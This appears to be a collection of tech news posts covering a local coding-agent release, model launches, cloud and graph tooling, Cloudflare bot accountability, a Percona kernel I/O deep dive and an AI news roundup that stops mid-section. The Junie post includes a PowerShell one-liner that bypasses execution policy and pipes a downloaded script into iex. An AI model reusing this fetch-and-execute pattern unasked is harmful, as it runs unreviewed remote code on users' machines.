Junie Local is now stable on Windows
When we launched Junie Local in August, it needed an M5 Mac with 64 GB of memory. We said then that lowering that bar was what we were focusing our efforts on, and that we were looking at making it runnable on 24 GB cards.
In September, we shipped experimental Windows support for NVIDIA RTX cards with 24 GB of VRAM. Today, that support is stable. If you have an Ampere or newer 24 GB RTX card, such as an RTX 3090, 4090 or 32 GB 5090 – you can run Junie Local.
Since the September preview, we’ve rebuilt the installer and the local engine. Junie Local is now ready for everyday use on:
	NVIDIA RTX Spark PCs, running natively on Windows on Arm.
	Windows PCs with NVIDIA RTX graphics and at least 24 GB of VRAM, running x64 Windows.

What changed:
	Simple setup. The installer recognizes your PC, checks your GPU and driver, and installs an optimized inference engine, the model, and the Junie integration.
	Context sized for your GPU. Junie Local picks the largest context window your GPU memory can hold.
	Your choice of model. Choose Qwen3.6-27B or Qwen3.8-3.6-27B-blend, our merged model. The latter retains much of Qwen3.8’s coding ability and Qwen3.6’s shorter reasoning. Support for additional models is coming.
	More reliable everyday use. The local engine starts, stops, and updates without fuss, and long coding sessions hold up better.

Requirements
	PC	What you need
	NVIDIA RTX Spark	Windows 11 on Arm, with at least 24 GB of memory available to the GPU
	Windows PC with NVIDIA RTX graphics	Windows 11 on x64 and an NVIDIA RTX GPU with at least 24 GB of VRAM

You’ll also need NVIDIA driver 581 or newer and about 20 GB of free disk space to support the model.
Get started
In PowerShell, run:
powershell -NoProfile -ExecutionPolicy Bypass -Command "[Environment]::SetEnvironmentVariable('JUNIE_LOCAL_MODEL', '1', 'Process'); iex (irm 'https://junie.jetbrains.com/install.ps1')"
Then start Junie, run /model, and pick a model. Junie will download what it needs, start the local engine, and switch your session over.
What’s next
We’re working to give you more choice in local models and make them better suited to coding with Junie. That includes improving coding performance while reducing the time and memory needed to complete a task.
For the RTX Spark, we’re exploring more efficient model formats and improving speculative decoding to make better use of the GPU’s compute capacity. We’ll share benchmarks and what we learn as these improvements reach Junie Local.
Try it
Junie Local is free. No registration, no subscription, no credits, no card. Try it on supported hardware and tell us what worked, what didn’t, and what you’d like to see next.
Try Junie Local →
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Beam: Efficient reasoning for coding and agentic workloads

Baseten · Oct 16, 1:51 PM UTC

Beam is an autoregressive transformer model that accepts text inputs and generates text outputs (mainly in English). It has a mixture-of-experts (MoE) architecture with 501B total parameters, 23B active parameters per token, and a context window of up to 1 million tokens.
Beam is the first in a new family of models from Reflection, with multilingual and multimodal capabilities planned for future releases. Beam is designed for developers and researchers building coding and agentic systems, as well as enterprises that want to customize and run their own models. It works out of the box with the runtimes, frameworks, coding harnesses, and tools developers already use.
Efficient reasoning for coding and agentic workloads
Reflection’s evaluations show strong performance across coding, agentic, reasoning, and STEM benchmarks:
Agentic coding performance
Reasoning performance
Source: https://reflection.ai/blog/introducing-beam
Reflection trained Beam to solve coding and agentic tasks and use fewer tokens to reach a successful result. The goal is to reduce the cost of these workloads. Reinforcement learning (RL) was a major part of Beam’s training. 
Reflection used longer RL rollouts so Beam could practice solving tasks over multiple steps, using tools and adjusting its approach based on feedback. Reflection rewarded successful solutions during training and applied a length penalty to discourage unnecessary tokens. In short, longer rollouts let Beam work through complex tasks, while the length penalty encouraged it to do so with fewer tokens.
Users can also adjust Beam’s reasoning effort parameter: lower settings favor shorter responses, and higher settings allow more reasoning to improve performance on demanding tasks.
Start using Beam on Baseten 
You can use Beam today through Baseten Model APIs and Dedicated Inference. Build coding and agentic systems that solve complex tasks without wasting tokens.
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AWS Transform announces Azure-to-AWS cloud-native code conversion

What's New with AWS · Oct 16, 1:50 PM UTC

Today, AWS announced the general availability of application code conversion from Azure SDK to AWS SDK in AWS Transform, giving you an accelerated path to migrate Microsoft Azure cloud-native .NET applications to AWS. The AWS Transform .NET modernization agent identifies Azure service code and converts it to equivalent AWS service code. For example, an Azure Functions serverless function that uses Azure Cosmos DB can be converted to an AWS Lambda function that uses Amazon DynamoDB.
AWS Transform discovers the Azure SDK in your submitted source code and presents the conversion options in the assessment report and modernization plan. You can accept the options provided or adjust them based on your preferences before running the modernization. AWS Transform then converts the identified Azure service code to the equivalent AWS SDK calls, and validates that the changes are incorporated into the transformed code. The feature supports conversion of Azure Functions to AWS Lambda functions, Azure Blob Storage to Amazon S3, and Azure Queue Storage to Amazon SQS, with Azure Cosmos DB to Amazon DynamoDB conversion available in preview.
AWS Transform is available in eight AWS Regions: US East (N. Virginia), Asia Pacific (Mumbai, Tokyo, Seoul, Sydney), Canada (Central), and Europe (Frankfurt, London).
To learn more, see Convert cloud-native code to AWS in the AWS Transform User Guide.
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Graph Embeddings, One Line of Code Away

Neo4j · Oct 16, 1:44 PM UTC

A single account on its own tells you very little. But look at who it sends money to, who those accounts send money to, and suddenly you have got a lot to work with.
That’s the idea behind graph embeddings: take a node and everything around it, and compress that graph structure into a vector. Nodes with similar surroundings end up with similar vectors. You will also see these called node embeddings, the name we use in the docs, because every node gets a vector of its own.
Over the last few years, embeddings have been the fastest-growing use case for Neo4j Graph Data Science (GDS), our graph analytics and machine learning library, and we are not surprised. Once every node is a vector, a lot of hard problems turn into ordinary ones: 
	A fraud team can flag accounts that look like known fraudsters. 
	A retailer can recommend what similar customers bought. 
	An analyst can segment customers by how they connect to everyone else, and a data scientist can feed the vectors to a standard model to predict churn. 

As more teams build AI agents on top of knowledge graphs, there is a newer one too: text embeddings tell an agent what things say, graph embeddings tell it how things connect, and retrieval that uses both can find related entities that text alone would miss.
Previously, creating embeddings was a job for data scientists. Just to get started, you would first have to climb a hill of concepts: which model fits my graph, which configuration fits my use case, what does this parameter even do? Plenty of teams have made that climb, trying out models and tuning configuration until the embeddings looked right. It works, but it is a lot to ask before you see a first result.
Compare that with text embeddings. You make one call, get vectors back in a few lines of code, and never need to know what happens under the hood. That bar has been set, and we think graphs deserve the same treatment.
One line, nothing to configure
Today, we are excited to release, in preview, a new Embeddings API in the GDS Python client (version 2.2 or later), built for Aura Graph Analytics:
gds.embedding.create(G)
That is the whole call. 
G is your graph, loaded into a session of Aura Graph Analytics, the on-demand environment where GDS runs in Aura, and create gives every node in it an embedding. Under the hood, it runs FastRP, a fast and highly scalable algorithm, with defaults we chose so you don’t have to, and in most cases they work well. That means you can start without knowing how the algorithm works or how to tune it, and spend your time on what the embeddings are for, not on how to produce them.
When you do want the dials, they are there. You can set the embedding size and other FastRP settings, name the property the embeddings are stored in, embed only some node labels or relationship types, and fix a random_seed to get reproducible results.
What happens to your graph
Embeddings are added to your in-memory graph as a new node property, called embedding unless you choose another name, and nothing is written to your database. From there, the vectors are yours: stream them into pandas, hand them to another algorithm in the same session (kNN to find similar nodes, k-means to cluster them), or, if your session is attached to a database, write them back to it. 
Here it is in context, starting with the graph itself (accounts and the transfers between them):
G, result = gds.graph.project.native("transfers", ["Account"], ["TRANSFERRED_TO"])
gds.embedding.create(G)
And here is the same call with a few of the dials turned: an embedding size of 256, a separate property name (since the default embedding already exists now on this graph), and a fixed seed for reproducible results:
gds.embedding.create(
    G,
    embedding_dimension=256, 
    mutate_property="embedding_256", # a new name since "embedding" already exists on G
    random_seed=42,
)
create fails if the graph already has a property with the same name, so existing embeddings are never overwritten by accident. While you are experimenting, give each set of embeddings its own property name, as in the example above, so you can compare them. In production, in scheduled pipelines, or in notebook cells you want to re-run, drop the property first. With fail_if_missing=False, that step is safe: if the property doesn’t exist yet, the line is simply ignored.
gds.graph.node_properties.drop(G, ["embedding"], fail_if_missing=False)
gds.embedding.create(G)
When the default isn’t enough
Of course, a general-purpose default only goes so far. It captures where each node sits in the overall shape of the graph, and that is all it looks at: whatever is stored on your nodes plays no part. If your accounts contain properties that matter, or your analysts have already classified some of them, you will want embeddings shaped by those properties.
That is what gds.embedding.train is for. It trains a GraphSAGE model that learns from node properties and from the classes you already know. Once you have a model, pass its name to create and you are back to a single call.
In this example, every account also carries a numeric risk_class and a features vector, so the projection brings them along:
G, result = gds.graph.project.native(
    "labeled-transfers",
    ["Account"],
    ["TRANSFERRED_TO"],
    node_properties=["risk_class", "features"],
)
With those properties in the graph, training takes one call. You point it at the property that holds the classes you already know (target_label and target_property), the properties the model should learn from (feature_properties), and the name to save the model under:
gds.embedding.train(
    G,
    model_name="account-risk-encoder",
    target_label="Account",
    target_property="risk_class",
    feature_properties=["features"],
)
Behind the scenes, a small classifier trained on your known classes teaches the encoder which patterns matter. If the defaults aren’t enough, you can tune both the encoder and the classifier, along with the number of epochs and the batch size. 
What you keep is the encoder. Pass its name to create, and every node gets an embedding shaped by your classes and properties:
gds.embedding.create(
    G,
    graph_encoder="account-risk-encoder",
    mutate_property="embedding_tuned",
    feature_properties=["features"],
)
One word of caution when you evaluate the results: the model has already seen your training examples, so judge it on nodes it did not train on. 
A model trained this way is a regular Aura Graph Analytics model, like any other you would train in a session. You can for example store it using gds.model.store to keep it in your project’s model catalog, so a later session can use it by name.
Try it today
Aura Graph Analytics is available on the AuraDB Free tier, so you can see this in action without paying anything. And your data does not have to live in Neo4j. Load nodes and relationships from a data warehouse, Databricks, or a CSV file into pandas DataFrames, and gds.graph.construct turns them into a graph in a standalone session. 
The Embeddings API documentation has the full parameter reference and a quickstart that runs on Cora, a small citation graph that ships with our GDS Python client, so you can try it before loading anything of your own.
Both endpoints are in preview, which means they may change as we learn from how you use them. The Embeddings API is available only in Aura Graph Analytics, with GDS Python client 2.2 or later.
What’s next
This is a first step. We plan to keep adding to the API, with more capabilities for generating embeddings and for putting them to work once you have them, and to bring it to our Cypher API too, if Python isn’t your cup of tea.
Because this is a preview, your feedback shapes what comes next: tell us which graphs you embedded, what worked, and what you wished it did. Reach out to us on the Neo4j Community Forum or at aura@neo4j.com.
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Continuous accountability for Verified bots

Cloudflare · Oct 16, 1:00 PM UTC

A driver’s license tells you who someone is and that they passed a driving test, not whether they’ll drive responsibly in the future. The same is true for bots: verifying who operates it creates accountability, but trust depends on what it does next. A known bot can still ignore website preferences, overwhelm origins, or evade controls. It’s not always malicious — often it’s just a misconfiguration or a bug.
As we described in a previous blog post on bot behavior, we strive to verify two questions: “Are you who you say you are?” and “Can we trust you?” To be a Cloudflare Verified Bot, you broadly need to meet three criteria:
	Identify yourself accurately and securely
	Do only what you say you will do
	Don’t engage in abusive behavior

Bots use Web Bot Auth to sign requests that establish their identity, which BotBase then catalogues in an open format. With identification addressed, our focus shifts to the second cardinal rule of Verified bots: thou shalt do no harm.
Today we introduce a system to evaluate and report when Verified bot behavior starts to deviate from this rule, ensuring that the answer to “Can we trust you?” remains “Yes.”
This is where the distinction between risk and trust becomes important:
	Risk describes the likelihood that a particular request or point-in-time action may be harmful, and it can change from one moment to the next.
	Trust is built over time through repeated and consistent behavior.

For example, we de-listed Perplexity’s bot from our Verified bot list in 2025 when it sought to access resources on websites that opted out of scraping and subsequently attempted to circumvent controls when those requests were blocked.
Do not engage in abusive behavior
This simple requirement sounds like a freebie, but there is a lot of nuance in that statement. When crawlers don’t respect site preferences, that undermines trust. When sites request a crawler to not crawl or to slow down, and the crawler ignores these requests, that undermines trust.
We developed a system to measure how often a crawler respects site preferences. These observations will translate to an explainable trust band: a range showing how consistently a bot respects site preferences and which observed behaviors informed that assessment, rather than a permanent judgment about a bot or its operator. The initial signals we evaluate are:
	Does the bot respect instructions?
	Did it respond to direct feedback?

We consider these to be “common sense” rules, a courtesy to the operators who provide the information bots seek. In the future, we will be sharing these scores publicly on Radar, as well as expanding the ways we measure. This score gives responsible bot operators a way to demonstrate that trust is being upheld over time. Verify, but continuously re-verify.
When in Rome, do as the Romans do
A robots.txt file is the primary way to communicate site owner preferences. Our system considers whether a bot’s observed traffic is consistent with those published preferences over time.
Robots.txt tells all (or specific) bots to only crawl specific parts of a website. Isolated violations and other types of one-offs may not be significant. What we look for instead are repeated patterns of behavior that disregards site preferences. The expectation is simply for responsible bots to consult and honor the preferences that websites publish, in line with RFC 9309.
And just to be clear, a robots.txt sets the minimum rules for what bots and agents should not do. But there is no implication that anything not stated is allowed. For example, a robots.txt does not need to say that a bot must stop when the site can communicate that continued access is unwelcome through other signals.
What you do not wish for yourself, do not impose on others
Bots can remain entirely within allowed paths while still placing substantial load on the websites they visit. One of the clearest ways a website can push back is with an HTTP 429 (“Too Many Requests”) response. A 429 is a directive for the visitor to reduce its request rate, sometimes with guidance about how long to wait before trying again.
Our system considers whether the bot’s traffic adapts after receiving that signal. Does it slow down, pause, or does it continue sending requests at the same pace? We then incorporate that behavior into the bot’s trust band over time: consistently slowing down or pausing increases trust, while repeatedly ignoring the signal lowers it.
Building trust over time
Observing these signals is only a first step toward making verified automation accountable over time. By pairing bot identity with evidence of continuing behavior, we can give site owners more confidence that the bots they choose to allow are respecting their preferences, give bot operators a way to demonstrate they deserve trust, and provide context to website owners about the automated traffic reaching them.
This system, alongside Bot Preference Sync and Bot Management, forms an accountability loop for automated traffic. Bot Preference Sync helps website owners publish their preferences, and observing how bots interact with these preferences shows whether Verified bots consistently honor them over time. Bot Management lets website owners decide how that traffic is handled. Together, they help ensure that trust is earned through transparent, accountable behavior, not assumed from identity alone.
We are already using this system internally to evaluate how consistently Verified bots honor website preferences. Because trust is built over time, we assess sustained patterns rather than isolated events. We are using this initial phase to build that history and refine how those observations become useful guidance. Building on that foundation, we plan to make the system available to all Cloudflare customers, who will be able to choose the trust threshold used to decide how Verified bot traffic is handled. Our goal is straightforward: to keep website preferences meaningful, and ensure trust is earned through sustained behavior.
Want to learn more about how you can handle bots? Cloudflare customers can already use Bot Management to manage automated traffic and Bot Preference Sync to align their published preferences with their configured policies. To explore the ever-growing Verified bot population, see the trends on Radar.
And if you are interested in helping build the future of bot identity and accountability, explore open roles at Cloudflare.
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This map shows the most important asset that VC-backed companies need right now

Mozilla · Oct 16, 1:00 PM UTC

What’s the most vital asset for an AI company today?  For venture backed AI business, it might be “funding” or “revenue”. But, there’s another asset that’s just as critical: trust. 
At Mozilla, building technology that people and businesses can genuinely trust has been a long-standing, guiding principle. That’s why we’re supporting the launch of the Trustworthy AI Map, a market map of VC-backed companies building the infrastructure for trustworthy AI. 
Supported by seven organizations, including Mozilla, the Trustworthy AI Map features 79 companies across 15 countries, from early to later-stage venture. It maps companies building products for AI deployment across seven layers of the AI stack, including identity, data control, interoperability and evaluation. 
The map connects the products with the companies and capital behind them, helping investors, founders and businesses explore commercial opportunities. To be featured, trust must be baked into its product or business model through human agency, trust by design or aligned business models. 
This initiative aligns with much of our work over the past year. We’ve invested in companies through Mozilla Ventures, launched Otari, an open source enterprise tool which allows you to control your LLM infrastructure from a single layer, and published landmark research in our State of Open Source AI report that’s demystifying the open source AI landscape and shows that the capability gap between open and closed models is closing. 
We’ve also partnered with Mila: the Quebec AI Institute, to build an open source AI foundation layer that enables organizations and institutions to own and operate their own advanced AI systems locally, ensuring full control over their technology and data. The project has the backing of the Canadian government, and industry leaders like Hypertec. 
At a time when fear and uncertainty about AI are on the rise, trust is not just a virtue; it’s a path towards profitability. Explore the Trustworthy AI Map to see how. 
Learn more at trustworthyaimap.org.
The post This map shows the most important asset that VC-backed companies need right now   appeared first on The Mozilla Blog.
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When a Small Change Writes Too Much – How A Linux Kernel Improvement Can Strike You in PXC/Galera Workloads

Percona · Oct 16, 12:58 PM UTC

We’ve recently been dealing with an interesting customer case where a PXC version upgrade from 5.7 to 8.0 seemed to trigger a completely unexpected problem. Even though the workload and MySQL settings did not change, all PXC members began exhibiting sparse but regular bursts of massive disk writes. Yet the MySQL side workload statistics that we gathered during those bursts did not explain the volume of them at all!
Analyzing these bursts further with pidstat and iostat confirmed that the mysqld process was indeed the sole source of excessive disk writes, and digging further showed the responsible threads to be the Galera receiver thread responsible for subscribing to the replication stream, as well as the main connection threads on the writer node, or Galera applier threads on the secondary members. And what’s most important is that there was a huge disparity between InnoDB engine threads writes (redo, undo, tablespace, etc) and binary log writes versus what was accounted to the Galera threads.
At first, it looked like during the burst, several GB of write-sets were received and applied, yet InnoDB barely changed any pages. All InnoDB-related write activity was completely flat, so they did not participate in these high IO load spikes at all! An example mysqld per-thread breakdown for a few-second burst looked like this:

	Thread group	Accounted Writes	Share
	applier (Galera write-set appliers, many threads)	13.0 GB	61%
	galera_recv-0 (Galera receiver thread)	5.2 GB	24%
	ib_pg_flush* (InnoDB page cleaners)	2.0 GB	9%
	ib_log_writer (redo log)	0.76 GB	4%
	Galera_srvc (Galera service thread)	0.29 GB	1%


The quick thought on the small redo log vs potentially huge writeset volume was that maybe transactions changing a single column would bloat the binlog events with other large blob/text/json columns, due to binlog_row_image=full, as the ROW image format applies to both Galera writesets and binary logs. But, analyzing the binary logs (with binlogsum) showed moderate and completely flat volume, nothing related to those bursts.
Looking for clues, I asked myself, so what are those Galera threads exactly writing? The receiver thread copies all replicated writesets into the Galera cache file(s), but also reclaims the space when the ring wraps (the ring-buffer allocator walks forward from the oldest buffers and discards released ones).
Then, the applier or connection threads also update the cache according to the transaction’s state. Still, when there are no spikes with big writesets (MySQL write load stays flat), why would we see such massive IO write bursts only accounted to the Galera threads?
And why would that weird behavior start to happen after the PXC upgrade? We could not find any clues in the source code; there were no changes to the Galera plugin or wsrep extensions that would explain these bursts.
Later, we found out additional information, which turned out to be crucial – not only the PXC version, but also the OS was upgraded! Now, the previous one: Debian 11, uses Linux 5.10 LTS kernel series, while the upgraded version 12 uses the Linux 6.1 LTS kernel series. And as the main suspect at this point was the Gcache store, how would the new kernel change the way this file is handled, though? It turns out that it does indeed, and it is related to the fact that the Galera plugin uses the mmap() path to handle the cache!
Page Folios in Modern Linux Kernels
In pursuit of handling large data on machines with big RAM and disk space more efficiently in Linux, in addition to huge pages, something called page folios was introduced in 5.16. What is relevant to this case is that large folios were implemented to also handle the page cache, initially only for the XFS filesystem in kernel 5.18, and yes, the affected cluster kept Galera cache on the XFS partition. Then, large folios support is what makes the kernel 6.1 different from the previous 5.10.
OK, but why would “folios” cause bursts, and why do they not affect InnoDB writes, but only the Galera threads? Now, unlike any other data or log files in MySQL (except TempTable storage) or MariaDB, Galera cache files do not use the write() or pwrite() path, but mmap rather.
This difference pointed me to some reports complaining about the systemd journal’s excessive IO problems, which turns out to be using mmap() path as well!
Funny enough, the problem is not very well known, and the root cause is still being confused to this day, even in the most affected systemd community. Some reports describe the journal IO pressure being higher than expected, but never define the real culprit. The systemd issue that currently covers this problem best is:

https://github.com/systemd/systemd/issues/40262

Related kernel thread discussions:

https://lwn.net/Articles/1092530/

https://lists.openwall.net/linux-kernel/2026/08/20/1169

And despite many good blog posts about optimizing journal IO, I found only this one that points to the folio impact:

https://www.cnblogs.com/32bin/p/22929557

The problem even reached the general tech press, as still unsolved in 2026:

https://northeasttimes.com/2026/08/14/a-single-log-line-eats-49kb-of-disk-and-linux-admins-are-furious/
In short: on a large folios-enabled kernel and filesystem, page cache entries are grouped in folios. In early kernel implementations (5.18–6.5), write()/pwrite() paths were also affected, but InnoDB typically uses O_DIRECT for table spaces (so not using page cache at all), and redo and binlog use small appends, which create order-0 (4 kB) small folios. Then in Linux 6.6, a patch was implemented that added per-block dirty tracking, as now iomap records the overlapping filesystem blocks (filesystem-block granularity): see RFCv3 for details. With mmap writes, any update only tracks a whole folio. Thus, writeback page cache iteration, in the mmap case, will sync the whole folio (up to 2MB) instead of the exact fs block (4kB). In other words, the mmap() path cannot benefit from the improved I/O tracking loops in 6.6+.
So, yes, the difference may be potentially huge, and small random writes to a mmapped file can induce huge IO bursts when the related page cache gets flushed to disk.
There are important variables here:
	
	Readahead size via optimal_io_size → read_ahead_kb, per block device, influences the sizes of large folios allocated through it (from 128kB up to even 2MB)
	Bursts are specifically periodic due to how writeback of dirty data gets invoked – every dirty_writeback_centisecs (default 5 seconds) the kernel checks if the dirty data (tracked per inode) age is old enough via dirty_expire_centisecs (default 30 seconds) – the observed roughly 33-second bursts on the affected PXC nodes, are consistent with this mechanism (although these settings do not guarantee a fixed flush period) when the object, here the Gcache inode, gets flushed when receiving regular writes.
	Workload characteristics matter a lot – writes accumulated within a single folio will result in way smaller write amplifications as compared to a file being updated in many random places, hence touching many different large folios.




The whole concept is damn complex, so let me share a more technical deep dive schematic in a separate document. Bear in mind, I am not a Linux kernel expert, so I hope there are not too many errors. The document is available here: https://przemekmalkowski.github.io/folios-mmap/
Galera Cache Impact
Galera’s writeset cache has been historically a mmapped file from the very beginning. And there are a couple of factors that make the large folio-induced write amplifications particularly severe here:
	The cache file is by default 128MB, but very often a much bigger size is used to provide long enough IST coverage.
	In addition to sequential appends of new writesets, there are many small and random updates that change their status to RELEASED when the transaction is already applied and ready to be overwritten.
	Quite often, MySQL data, together with the galera.cache file, is placed on a large storage, like RAID arrays. Specifically for software RAID, the Linux kernel automatically increases the readahead size proportionally to the array geometry and the advertised optimal I/O size. For hardware RAID and dm/LVM stacks, it may be the case too. This leads to even larger folios, and that’s exactly what happened for the said customer case.
	During the PXC member startup, the whole gcache file is scanned sequentially during the recovery process (enabled by default), which can immediately populate the large page cache areas.

Having said that, every PXC/Galera cluster may be affected by extra write amplifications for the galera.cache (and gcache.page.X), if kernel and filesystem versions support large folios. But the impact may be small enough to slip through unnoticed when the default readahead of 128kB is set for the disk block device. The extra IO write pressure may be wrongly assumed to be related to regular (and complex enough) database writes. But when the storage uses bigger readahead, and large folios get to even 2MB in size, the amplification is huge and really difficult to miss.
Possible workarounds
As currently there is no Linux kernel side solution implemented for the mmap() path, there are a couple of workarounds possible, and they apply to any applications using mmapped files, not only PXC/Galera:
	Depending on the kernel version, using the EXT4 filesystem may be an option, as folio support was introduced there much later (in 6.16) than in XFS (5.18) – if applicable, this allows us to avoid the said amplifications altogether. It helped in this customer’s case!
	Lower the readahead size for the disk device – for the price of potentially limited performance, the maximum size of large folios will be impacted by it, making the amplifications smaller.
	Modify the application mmap calls to use MADV_RANDOM via madvise() hints. It will basically disable readahead via enforced random access.
	Stop using mmap() path in favor of pwrite() on Linux 6.6+.
	Finally, use a customized modern kernel, compiled without THP support via the disabled CONFIG_TRANSPARENT_HUGEPAGE option – large folios are not created on recent kernels when THP is not available. (Note that disabling THP in GRUB is not enough to disable large folios!)

For PXC, I reported the problem here: https://perconadev.atlassian.net/browse/PXC-5340
How to check if you’re affected
	Kernel and filesystem: XFS on 5.18+, or ext4 on 6.16+.
	Readahead size: cat /sys/block/<dev>/queue/{read_ahead_kb,optimal_io_size}.
	Large mappings: FilePmdMapped in /proc/meminfo or smaps for the gcache mapping, and thp_file_mapped climbing in /proc/vmstat.
	Bursts: about every 30–35 s (unless different timers in vm.dirty_expire_centisecs and vm.dirty_writeback_centisecs) in iostat, with per-thread pidstat -d charges in up to 2 MB multiples.

More on Large Folios Impact Cases
During research, I found another interesting story. It turns out that mixing active write workloads using both page cache and bypassing it with O_DIRECT may lead to additional unexpected stalls. This time it was visible with RocksDB, as described here:
https://blog.wegenz.in/posts/page-cache-reclaim-foliotune-direct-io-stalemate
The article was created by a human.
The post When a Small Change Writes Too Much – How A Linux Kernel Improvement Can Strike You in PXC/Galera Workloads appeared first on Percona.

Read it at the source
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[AINews] High Taste Testers Ep. 1

swyx (Latent Space) · Oct 17, 7:47 AM UTC

We are piloting a new show on Latent Space: High Taste Testers, a variant of our food show where we pull you in to a typical lunch conversation in San Francisco. All your favorite talking points, starting with Dev Day and going into the latest models and assistants, are here:
Let us know your feedback!
AI News for 10/15/2026-10/16/2026. We checked 12 subreddits, 544 Twitters and no further Discords. AINews’ website lets you search all past issues. As a reminder, AINews is now a section of Latent Space. You can opt in/out of email frequencies!


AI Twitter Recap
US Open-Weights Push: Muse Spark Open and Reflection Beam
	Muse Spark Open (Meta): An 816B-total, 42B-active MoE with open weights. Artificial Analysis scores it 39 on its Intelligence Index, the highest for a US open-weights model and 13 points above NVIDIA’s Nemotron 3.5 Super VL at 26 (AA).
	Architecture and footprint: 62 layers, GQA with 16 KV heads, 8 of 256 experts active per token, a 1.8B Perception Encoder and 1M context. Inputs are text, image, video and audio; output is text. BF16 weights are about 1.6TB. Meta’s NVFP4 checkpoint quantizes only the experts, cutting weights to about 530GB. Meta says that fits on 4 Blackwell Ultra GPUs, 8 H200s or two 512GB M5 Ultra Mac Studios.

	Pricing and efficiency: Together, Fireworks and Baseten charge $1.25/$4.25 per M input/output tokens, with $0.15 cached input. AA puts the cost at $0.84 per index task, versus $2.01 for GLM-5.3 and $0.27 for DeepSeek V4.1 Flash. It uses 40k output tokens per task, the fewest among the top nine open models (cost). Vals counts 55.5M output tokens across its index, the fewest of any open model, but says input tokens drive most of its cost (Vals).

	Weak spot: It ranks last among the top nine open models on AA’s four agentic evals while leading open models on AA-Omniscience. Vals places it #12 among open-weight models and #38 overall (Vals). Arena ranks it the top US open model on Code Arena WebDev with 1511 points, #13 among open models (Arena).

	License: The custom Muse Model License requires “Built with Muse Spark Open” attribution. Model-as-a-Service businesses with more than $20M in annual revenue need a separate agreement with Meta.

	Ecosystem: mlx-lm had day-0 support with vision, plus an Apple blog post on RDMA-distributed inference across Mac Studios (@zcbenz). vLLM served RL rollouts during Muse training and supports the release at launch (vLLM). SemiAnalysis has added B200 configurations to InferenceX (SemiAnalysis).

	Criticism (opinion): @teortaxesTex calls it “DOA” against the smaller, MIT-licensed V4.1 Flash. He also speculates, without evidence, that Meta withheld Spark 1.3 because of distillation from OpenAI (speculation). @alexandr_wang describes MSL as having built “a machine that builds new models.”



	Reflection Beam 1.0: A 501B-total, 23B-active MoE with 1M context, released under Apache 2.0. The release includes BF16, FP8 and NVFP4 weights, a DFlash2 drafter, the open Mirror CLI harness Beam was trained on, and a safety report (Reflection, safety report, Mirror).
	Independent evals: AA scores it 30, #2 among US open models, using about 26k tokens per task. It reaches 48.5% on AutomationBench-AA but only 3.0% on Terminal-Bench 4.0. On AA-Omniscience it answers 33% correctly but hallucinates at 47% (AA). Arena places it #12 among open models in Agent Arena (±3.84%) and makes it the only non-Chinese model in the top 25 open models on Code WebDev (Arena).

	Architecture: Sliding-window attention with a 512 window in a 5:1 pattern, no RoPE, Llama-4-style global attention scaling, gated attention, QK-norm, sandwich norm, logit softcapping and no shared experts (@eliebakouch).

	Serving and RL: vLLM had day-0 support. On 4× B300 with NVFP4 at TP4, it measured 1,769 output tok/s at concurrency 16. SkyRL offers day-0 LoRA, full fine-tuning and MXFP8 RL, and reports +62% LoRA decode throughput (276→447 tok/s/GPU), which is a decode result, not an end-to-end training speedup (vLLM, SkyRL). Ollama is serving it free for a limited time, US-hosted with zero data retention (Ollama).



	Other open releases: StepFun released Step 5 Preview open weights (Together). Tencent shipped Hy Memory 2.0 and claims Hy-Memory-30B-A3B beats Opus 5 on memory frameworks (Tencent). Datalab released Indra, a 1M-parameter OCR model it says runs 15× faster than Tesseract on CPU (@VikParuchuri).


Frontier Model Rollouts and the Decision-Model Category
	Gemini 4 Argon: Now available to Pro subscribers and in AI Studio Build (@_philschmid, AI Studio).
	Specs and pricing: The wide release raises the output limit to 1M tokens from 64K, sharing the window with input. Intro pricing is $2/$10 until Nov 30 (DeepLearning.AI).

	Results: Perplexity reports a new SOTA on its WANDR research benchmark (@AravSrinivas). Argon ranks #5 in Agent Arena at +13.2% (Arena). @MParakhin gives early praise for its math, with the caveat that it needs higher reasoning effort.



	Anthropic speed and price moves: Haiku 5.5 costs $0.10/$0.50 for prompts up to 100K tokens, about 90% cheaper than Haiku 4.5. It scores 39.2% on Terminal-Bench 4.0 at max effort, versus 16.4% for GPT-6 Luna (DL Weekly). An Opus 5.5 fast mode at 2.5× speed is reported (@kimmonismus). Claude Code now gzips the conversation payload on every turn to cut latency (ClaudeDevs).

	OpenAI product updates: GPT-6 Astra Pro in ChatGPT now runs multiple agents on parts of a task in parallel, with faster responses and better tool use (OpenAI). GPT Live 1.1 improves multilingual voice, and nine new presets were recorded with native-speaking actors (@reach_vb, OpenAIDevs). Codex is believed to have one or two new models coming; this is unconfirmed speculation (@kimmonismus).

	Elorian Glimpse: A visual-thinking VLM that runs recurrent computation over latent visual states instead of text-only chain of thought.
	Claimed results: Elorian says it matches or beats Astra on 5 of 12 benchmarks at 17× lower token prices, trained on “hundreds of GPUs” (@dustinvtran).

	Informal test: @omarsar0 found 8 of 10 game boards fully correct, versus 5 of 10 for Gemini 3.8 Flash.



	Decision models (calibrated one-pass classifiers):
	Liquid d1-ultra: Tops AA’s Decision Index at 65, ahead of Jev 1.14 at 57. Its non-hallucination rate rises to 85% from 2% for d1, but accuracy falls to 32% from 41%. Time per task is 92ms and price is $0.042 per M input tokens, with output free (AA).

	Perplexity pplx-decider v1.2: Open weights in a 27B model at 2¢/M and a 4B Flash model at 1¢/M. The update adds reranking, single-pass multi-question inference that is up to 5× faster, and -latest slugs (@AravSrinivas, @denisyarats).

	Usage: OpenAI’s Live API added a Decisions API for fast tool delegation (@juberti). In one experiment, swapping Jev into Recursive Language Model sub-calls was half the cost and 6× faster than Haiku 5.5 on OOLONG at 1M tokens (@Jnatanh).




Inference Hardware and Serving Systems
	TPUv7 on AgentX: SemiAnalysis reports 1.42× better perf per dollar than GB300 NVL72 FP4, calculated on an external, non-Google cost basis, and 2.5× versus MI355X (SemiAnalysis).
	Interactivity split: TPUv7 is up to 3.16× better than disaggregated GB200 at medium to high interactivity. GB200 FP4 keeps a 1.2× edge at low interactivity (thread). The run was served with vLLM through TorchTPU.



	Vera Rubin NVL72 on AA-AgentPerf: Up to 5.7× GB300’s throughput per MW on DeepSeek V4 Pro, falling to 2.8× on Kimi K3, with the largest gains at high per-user speed (AA).
	Peak throughput: The gap narrows to 1.14–1.45×. Vera Rubin also posts a record 906 tok/s per user on V4.1 Flash. NVIDIA submitted all of these results.



	AMD MI355X: 8× MI355X delivers 24.4% more throughput than HGX B300 on Kimi K3 at 50 tok/s per user, and 87.4% more tokens per dollar (vLLM). Inferact announced a collaboration with AMD to publish open per-model recipes for agentic serving (Inferact).

	Systems details:
